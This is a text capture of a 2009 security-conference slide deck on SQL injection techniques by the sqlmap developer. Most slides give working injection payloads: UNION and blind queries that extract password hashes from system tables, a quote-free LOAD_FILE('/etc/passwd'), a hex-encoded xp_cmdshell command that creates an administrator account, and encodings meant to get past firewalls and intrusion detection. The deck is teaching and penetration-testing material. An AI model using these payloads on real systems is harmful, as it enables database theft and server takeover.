SlideShare ist ein Scribd-Unternehmen logo
1 von 41
Downloaden Sie, um offline zu lesen
SQL injection: Not Only AND 1=1
  Bernardo Damele Assumpção Guimarães
Who I am

 Bernardo Damele Assumpção Guimarães

     Proud father

     Penetration tester / security researcher
         Portcullis Computer Security Ltd

     Open source projects
         sqlmap lead developer
         MySQL UDF repository developer
         Metasploit contributor
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   2
SQL injection definition

     SQL injection attacks are a type of injection attack, in
     which SQL commands are injected into data-plane input
     in order to affect the execution of predefined SQL
     statements

     It is a common threat in web applications that lack of
     proper sanitization on user-supplied input used in SQL
     queries

     It does not affect only web applications!

     A long list of resources can be found on my delicious
     profile, http://delicious.com/inquis/sqlinjection

2nd Digital Security Forum, Lisbon (Portugal)    June 27, 2009   3
How does it work?

     Detection of a possible SQL injection flaw

     Back-end database management system
     fingerprint

     SQL injection vulnerability can lead to:
         DBMS data exfiltration and manipulation
         File system read and write access
         Operating system control


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   4
sqlmap – http://sqlmap.sourceforge.net

     Open source command-line automatic tool

     Detect and exploit SQL injection flaws in web
     applications

     Developed in Python since July 2006

     Released under GPLv2


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   5
sqlmap key features

     Full support for MySQL, Oracle, PostgreSQL and
     Microsoft SQL Server

     Three SQL injection techniques:
         Boolean-based blind
         UNION query
         Batched (stacked) queries

     Perform an extensive back-end DBMS fingerprint

     Enumerate users, password hashes, privileges,
     databases, tables, columns and their data-type

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   6
sqlmap key features

     Dump entire or user specified database table entries

     Run own SQL statements

     Read either text or binary files from the file system

     Execute arbitrary commands on the operating system

     Establish an out-of-band stateful connection between
     the attacker box and the database server


2nd Digital Security Forum, Lisbon (Portugal)     June 27, 2009   7
Database management system fingerprint

     sqlmap implements up to four techniques:

          Inband error messages

          Banner (version(), @@version, …) parsing

          SQL dialect

          Specific functions static output comparison


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   8
Database management system fingerprint

     Example of basic back-end DBMS fingerprint on
     Oracle 10g Express Edition:

          Two techniques:
              Specific variables
              Specific functions static output comparison

          The two possible queries to fingerprint it are:
           AND ROWNUM=ROWNUM
           AND LENGTH(SYSDATE)=LENGTH(SYSDATE)

2nd Digital Security Forum, Lisbon (Portugal)      June 27, 2009   9
Database management system fingerprint

     Example of extensive back-end DBMS fingerprint
     on Microsoft SQL Server 2005:

         Three techniques:

              Active fingerprint: Microsoft SQL Server 2005
              Banner parsing fingerprint: Microsoft SQL Server 2005
              Service Pack 0 version 9.00.1399
              HTML error message fingerprint: Microsoft SQL Server

           Active fingerprint refers to specific functions’ static
           output comparison in this example

2nd Digital Security Forum, Lisbon (Portugal)        June 27, 2009    10
Database management system fingerprint

     Examples of SQL dialect fingerprint:

          On MySQL:

           /*!50067 AND 47=47 */

          On PostgreSQL:

           AND 82::int=82

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   11
More on fingerprint

     Fingerprinting is a key step in penetration
     testing
          It is not only about back-end DBMS software

     There are techniques and tools to fingerprint the
     web server, the web application technology and
     their underlying system

     What about the back-end DBMS underlying
     operating system?
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   12
More on fingerprint

     sqlmap can fingerprint them without making
     extra requests:

         Web/application server and web application
         technology: by parsing the HTTP response
         headers
              Known basic technique


         Back-end DBMS operating system: by parsing the
         DBMS banner
              Over-looked technique
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   13
SQL statement syntax

     Identify the web application query syntax is
     mandatory

     It is needed to correctly exploit the flaw

     Example:

      "SELECT id, user FROM users WHERE id LIKE
      ((('%" . $_GET['id'] . "%'))) LIMIT 0, 1"


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   14
SQL statement syntax

     Possible exploitation vector:

      page.php?id=1'))) AND ((('RaNd' LIKE 'RaNd


     For a boolean-based blind SQL injection exploit:

      1'))) AND ORD(MID((SQL query),
      Nth SQL query output character, 1)) >
      Bisection algorithm number
      AND ((('RaNd' LIKE 'RaNd

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   15
SQL statement syntax

     For a UNION query SQL injection exploit:

      1'))) UNION ALL SELECT NULL,
      Concatenated SQL query#
      AND ((('RaNd' LIKE 'RaNd


     For a batched query SQL injection exploit:

      1'))); SQL query;#
      AND ((('RaNd' LIKE 'RaNd

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   16
Bypass number of columns limitation

     You’ve got a SQL injection point vulnerable to
     UNION query technique detected by:

          ORDER BY clause brute-forcing
          NULL brute-forcing
          Sequential number brute-forcing


     The number of columns in the SELECT
     statement is fewer than the number of columns
     that you want to inject
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   17
Bypass number of columns limitation

     Concatenate your SELECT statement columns
     with random delimiters in a single output

     Example:
         The original SELECT statement has only one
         column
           SELECT col FROM tbl WHERE id=1


          Back-end DBMS is PostgreSQL 8.3

          We want to retrieve users’ password hashes
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   18
Bypass number of columns limitation

     SELECT usename, passwd FROM pg_shadow

                                          ↓
     UNION ALL SELECT,
     CHR(109)||CHR(107)||CHR(100)||CHR(83)||CHR
     (68)||CHR(111)||COALESCE(CAST(usename AS
     CHARACTER(10000)),
     CHR(32))||CHR(80)||CHR(121)||CHR(80)||CHR(
     121)||CHR(66)||CHR(109)||COALESCE(CAST(pas
     swd AS CHARACTER(10000)),
     CHR(32))||CHR(104)||CHR(108)||CHR(74)||CHR
     (103)||CHR(107)||CHR(90), FROM pg_shadow--

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   19
Single entry UNION query SQL injection

     You’ve got a parameter vulnerable to UNION
     query SQL injection

     The page displays only the query’s first entry
     output

     Change the parameter value to its negative
     value or append a false AND condition to the
     original parameter value
         Cause the original query to produce no output
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   20
Single entry UNION query SQL injection

     Inspect and unpack the SQL injection statement:

          Calculate its output number of entries

          Limit it to return one entry at a time

          Repeat the previous action N times where N
         is the number of output entries


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   21
Single entry UNION query SQL injection

     Example on MySQL 4.1 to enumerate the list of
     databases:

     SELECT db FROM mysql.db

                                          ↓
     SELECT … WHERE id=1 AND 3=2 UNION ALL SELECT
     CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST(db
     AS CHAR(10000)), CHAR(32)),
     CHAR(65,83,118,81,87,116)) FROM mysql.db LIMIT
     Nth, 1# AND 6972=6972


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   22
Single entry UNION query SQL injection

     Another technique consists of retrieving
     entries as a single string

     Example on MySQL 5.0:
     SELECT user, password FROM mysql.user


                                          ↓
     SELECT GROUP_CONCAT(CONCAT(user, 'RaND',
     password)) FROM mysql.user
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   23
Getting a SQL shell

     sqlmap has options to enumerate / dump
     different types of data from the back-end DBMS

     It also allows the user to run custom SQL
     queries

     It inspects the provided statement:
         SELECT: it goes blind or UNION query to retrieve
         the output
         DDL, DML, etc: it goes batched query to run it
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   24
SQL injection: Not only WHERE clause

     Most of the SQL injections occur within the
     WHERE clause, but GROUP BY, ORDER BY and
     LIMIT can also be affected

     SQL injection within these clauses can be
     exploited to perform a blind injection or, in some
     cases, a UNION query injection

     In all cases batched query injection is possible

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   25
SQL injection in GROUP BY clause

     Example on MySQL 5.0:

     "SELECT id, name FROM users GROUP BY "
     . $_GET['id']

                                          ↓
     SELECT id, name FROM users GROUP BY 1,
     (SELECT (CASE WHEN (condition) THEN 1 ELSE
     1*(SELECT table_name FROM
     information_schema.tables) END))


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   26
SQL injection in ORDER BY clause

     Example on PostgreSQL 8.2:

     "SELECT id, name FROM users ORDER BY "
     . $_GET['id']

                                          ↓
     SELECT id, name FROM users ORDER BY 1,
     (SELECT (CASE WHEN (condition) THEN 1 ELSE
     1/0 END))



2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   27
SQL injection in LIMIT clause

     Example on MySQL 6.0:

     "SELECT id, name FROM users LIMIT 0, "
     . $_GET['id']

                                          ↓
     SELECT id, name FROM users LIMIT 0, 1
     UNION ALL SELECT (CASE WHEN (condition)
     THEN 1 ELSE 1*(SELECT table_name FROM
     information_schema.tables) END), NULL


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   28
SQL injection payloads to bypass filters

     There are numerous techniques to bypass:

         Web application language security settings

         Web application firewalls

         Intrusion [Detection|Prevention] Systems

         Web server security settings

     These techniques can be combined
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   29
PHP Magic Quotes misuse: Bypass

     You’ve a SQL injection point in a GET, POST
     parameter or Cookie value

     Web application language is PHP
         magic_quotes_gpc setting is On or
         addslashes() is used within the source code


     Back-end DBMS is either Microsoft SQL Server or
     Oracle
         Their escaping character for single quote is single
         quote

2nd Digital Security Forum, Lisbon (Portugal)    June 27, 2009   30
PHP Magic Quotes misuse: Bypass

     Original statement:
         "SELECT name, surname FROM users WHERE
         name='" . $_GET['name'] . "'"

     Example of a successful exploit:
        foobar' OR 10>4--

     Query passed by PHP to the back-end DBMS:
        SELECT name, surname FROM users WHERE
        name='foobar' OR 10>4--'


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   31
PHP Magic Quotes misuse: Bypass

     For a UNION query SQL injection exploit:
      SELECT name, surname FROM users WHERE
      name='foobar' UNION ALL SELECT NAME,
      PASSWORD FROM SYS.USER$--'


     For a boolean-based blind SQL injection exploit:
      SELECT name, surname FROM users WHERE
      name='foobar' OR ASCII(SUBSTR((SQL
      query), Nth SQL query output char, 1))
      > Bisection algorithm number--'

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   32
PHP Magic Quotes bypass: Avoid single quotes

     Example on MySQL:
        LOAD_FILE('/etc/passwd')

                                          ↓
           LOAD_FILE(CHAR(47,101,116,99,47,112,97,
           115,115,119,100))
                          or
           LOAD_FILE(0x2f6574632f706173737764)

     It is not limited to bypass only PHP Magic Quotes

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   33
Bypass with percentage char on ASP

     ASP ignores % if not followed by a valid pair of
     characters

     Example on ASP with back-end DBMS
     PostgreSQL:

                     SELECT pg_sleep(3)

                                          ↓
                     S%ELEC%T %p%g_sle%ep(%3)

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   34
Bypass by hex-encoding the SQL statement

     Example on Microsoft SQL Server:
     exec master..xp_cmdshell 'NET USER myuser
     mypass /ADD & NET LOCALGROUP
     Administrators myuser /ADD'

                                          ↓
     DECLARE @rand varchar(8000) SET @rand =
     0x65786563206d61737465722e2e78705f636d6473
     68656c6c20274e45542055534552206d7975736572
     206d7970617373202f4144442026204e4554204c4f
     43414c47524f55502041646d696e6973747261746f
     7273206d7975736572202f41444427; EXEC
     (@rand)

2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   35
Bypass by comments as separators

     Example on MySQL:

     SELECT user, password FROM mysql.user

                                          ↓
     SELECT/*R_aNd*/user/*rA.Nd*/,/*Ran|D
     */password/*r+anD*/FROM/*rAn,D*/mysq
     l.user



2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   36
Bypass by random mixed case payload

     Example on Oracle 10g:

     SELECT banner FROM v$version WHERE
     ROWNUM=1

                                          ↓
     SeLEcT BaNneR FroM v$vERsIon WhERe
     ROwNUm=1


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   37
Bypass by random URI encoded payload

     Example on PostgreSQL:

     SELECT schemaname FROM pg_tables

                                          ↓
     %53E%4c%45%43T%20%73%63h%65%6d%61%6e
     a%6de%20%46%52O%4d%20%70g%5f%74a%62%
     6ce%73


2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   38
SQL injection to operating system full control

     We’ve seen how to detect and exploit different
     SQL injection flaws, retrieve and manipulate
     data on the DBMS and bypass web application
     filters… what else?

         Check my recent research about compromising
         the underlying file system and the operating
         system via SQL injection on
         http://tinyurl.com/sqlmap1



2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   39
Credits

     Chip Andrews, www.sqlsecurity.com

     Alberto Revelli, sqlninja.sourceforge.net

     Sumit Siddharth, www.notsosecure.com

     Alessandro Tanasi, lab.lonerunners.net

     Ralf Braga, www.linkedin.com/in/ralfbraga
2nd Digital Security Forum, Lisbon (Portugal)   June 27, 2009   40
Questions?




     Bernardo Damele Assumpção Guimarães
                      bernardo.damele@gmail.com
                  http://bernardodamele.blogspot.com
                      http://sqlmap.sourceforge.net




                     Thanks for your attention!
2nd Digital Security Forum, Lisbon (Portugal)    June 27, 2009   41

Weitere ähnliche Inhalte

Was ist angesagt?

Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the databaseBernardo Damele A. G.
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONMentorcs
 
sqlmap - why (not how) it works?
sqlmap - why (not how) it works?sqlmap - why (not how) it works?
sqlmap - why (not how) it works?Miroslav Stampar
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySandip Chaudhari
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmapHerman Duarte
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniquesSongchaiDuangpan
 
CNIT 123 8: Desktop and Server OS Vulnerabilities
CNIT 123 8: Desktop and Server OS VulnerabilitiesCNIT 123 8: Desktop and Server OS Vulnerabilities
CNIT 123 8: Desktop and Server OS VulnerabilitiesSam Bowne
 
Sql injection
Sql injectionSql injection
Sql injectionZidh
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONAnoop T
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads UpMindfire Solutions
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksMiroslav Stampar
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 

Was ist angesagt? (20)

Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the database
 
sqlmap - Under the Hood
sqlmap - Under the Hoodsqlmap - Under the Hood
sqlmap - Under the Hood
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
sqlmap - why (not how) it works?
sqlmap - why (not how) it works?sqlmap - why (not how) it works?
sqlmap - why (not how) it works?
 
SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmap
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniques
 
CNIT 123 8: Desktop and Server OS Vulnerabilities
CNIT 123 8: Desktop and Server OS VulnerabilitiesCNIT 123 8: Desktop and Server OS Vulnerabilities
CNIT 123 8: Desktop and Server OS Vulnerabilities
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 
Xss ppt
Xss pptXss ppt
Xss ppt
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
 
Data Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection AttacksData Retrieval over DNS in SQL Injection Attacks
Data Retrieval over DNS in SQL Injection Attacks
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 

Andere mochten auch

SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injectionamiable_indian
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internalsBernardo Damele A. G.
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacksRespa Peter
 
Advanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection ProtectionAdvanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection Protectionamiable_indian
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injectionmatt_presson
 

Andere mochten auch (13)

Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Sql injection
Sql injectionSql injection
Sql injection
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internals
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
 
Advanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection ProtectionAdvanced Topics On Sql Injection Protection
Advanced Topics On Sql Injection Protection
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Sql injection attack
Sql injection attackSql injection attack
Sql injection attack
 

Ähnlich wie SQL injection: Not Only AND 1=1 (updated)

Sql injection
Sql injectionSql injection
Sql injectionBee_Ware
 
Performance is a Feature! at DDD 11
Performance is a Feature! at DDD 11Performance is a Feature! at DDD 11
Performance is a Feature! at DDD 11Matt Warren
 
Performance is a feature! - London .NET User Group
Performance is a feature! - London .NET User GroupPerformance is a feature! - London .NET User Group
Performance is a feature! - London .NET User GroupMatt Warren
 
Performance and how to measure it - ProgSCon London 2016
Performance and how to measure it - ProgSCon London 2016Performance and how to measure it - ProgSCon London 2016
Performance and how to measure it - ProgSCon London 2016Matt Warren
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCanSecWest
 
Advanced Open IoT Platform for Prevention and Early Detection of Forest Fires
Advanced Open IoT Platform for Prevention and Early Detection of Forest FiresAdvanced Open IoT Platform for Prevention and Early Detection of Forest Fires
Advanced Open IoT Platform for Prevention and Early Detection of Forest FiresIvo Andreev
 
How to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindHow to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindAndreas Czakaj
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 Amanda Rousseau
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
Data Tracking: On the Hunt for Information about Your Database
Data Tracking: On the Hunt for Information about Your DatabaseData Tracking: On the Hunt for Information about Your Database
Data Tracking: On the Hunt for Information about Your DatabaseMichael Rosenblum
 
ARMITAGE-THE CYBER ATTACK MANAGEMENT
ARMITAGE-THE CYBER ATTACK MANAGEMENTARMITAGE-THE CYBER ATTACK MANAGEMENT
ARMITAGE-THE CYBER ATTACK MANAGEMENTDevil's Cafe
 
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법GangSeok Lee
 
Whats new in_mlflow
Whats new in_mlflowWhats new in_mlflow
Whats new in_mlflowDatabricks
 
Skiron - Experiments in CPU Design in D
Skiron - Experiments in CPU Design in DSkiron - Experiments in CPU Design in D
Skiron - Experiments in CPU Design in DMithun Hunsur
 
Summarizing Software API Usage Examples Using Clustering Techniques
Summarizing Software API Usage Examples Using Clustering TechniquesSummarizing Software API Usage Examples Using Clustering Techniques
Summarizing Software API Usage Examples Using Clustering TechniquesNikos Katirtzis
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish fileyukta888
 

Ähnlich wie SQL injection: Not Only AND 1=1 (updated) (20)

Sql injection
Sql injectionSql injection
Sql injection
 
Performance is a Feature! at DDD 11
Performance is a Feature! at DDD 11Performance is a Feature! at DDD 11
Performance is a Feature! at DDD 11
 
Performance is a Feature!
Performance is a Feature!Performance is a Feature!
Performance is a Feature!
 
Performance is a feature! - London .NET User Group
Performance is a feature! - London .NET User GroupPerformance is a feature! - London .NET User Group
Performance is a feature! - London .NET User Group
 
Performance and how to measure it - ProgSCon London 2016
Performance and how to measure it - ProgSCon London 2016Performance and how to measure it - ProgSCon London 2016
Performance and how to measure it - ProgSCon London 2016
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
 
Advanced Open IoT Platform for Prevention and Early Detection of Forest Fires
Advanced Open IoT Platform for Prevention and Early Detection of Forest FiresAdvanced Open IoT Platform for Prevention and Early Detection of Forest Fires
Advanced Open IoT Platform for Prevention and Early Detection of Forest Fires
 
unit 5-ERTS.pptx
unit 5-ERTS.pptxunit 5-ERTS.pptx
unit 5-ERTS.pptx
 
How to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindHow to write clean & testable code without losing your mind
How to write clean & testable code without losing your mind
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Patterns for distributed systems
Patterns for distributed systemsPatterns for distributed systems
Patterns for distributed systems
 
Data Tracking: On the Hunt for Information about Your Database
Data Tracking: On the Hunt for Information about Your DatabaseData Tracking: On the Hunt for Information about Your Database
Data Tracking: On the Hunt for Information about Your Database
 
ARMITAGE-THE CYBER ATTACK MANAGEMENT
ARMITAGE-THE CYBER ATTACK MANAGEMENTARMITAGE-THE CYBER ATTACK MANAGEMENT
ARMITAGE-THE CYBER ATTACK MANAGEMENT
 
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
[2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법
 
Whats new in_mlflow
Whats new in_mlflowWhats new in_mlflow
Whats new in_mlflow
 
Skiron - Experiments in CPU Design in D
Skiron - Experiments in CPU Design in DSkiron - Experiments in CPU Design in D
Skiron - Experiments in CPU Design in D
 
Intake 37 linq2
Intake 37 linq2Intake 37 linq2
Intake 37 linq2
 
Summarizing Software API Usage Examples Using Clustering Techniques
Summarizing Software API Usage Examples Using Clustering TechniquesSummarizing Software API Usage Examples Using Clustering Techniques
Summarizing Software API Usage Examples Using Clustering Techniques
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
 

Kürzlich hochgeladen

TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
